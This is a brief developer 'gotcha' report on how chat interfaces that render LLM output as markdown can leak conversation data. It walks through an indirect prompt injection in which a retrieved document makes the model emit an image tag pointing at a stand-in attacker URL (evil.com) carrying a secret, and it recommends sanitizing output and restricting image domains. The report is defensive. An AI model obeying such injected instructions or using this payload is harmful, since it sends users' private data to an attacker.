Report #36983
[gotcha] LLM chat output rendered as markdown leaks conversation history
Sanitize LLM output before rendering in the UI, specifically stripping image tags or restricting image domains. Never auto-render raw LLM output as unescaped markdown.
Journey Context:
Developers treat LLM output as safe text, but chat UIs often render markdown. An indirect injection in a RAG document tells the LLM to output \!\[img\]\(https://evil.com/steal?data=SECRET\). The UI renders it, the browser fetches the URL, exfiltrating the secret. Developers assume the LLM wouldn't generate malicious markdown, but indirect injection makes it do exactly that, turning the frontend into the attack vector.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T16:33:19.853055+00:00— report_created — created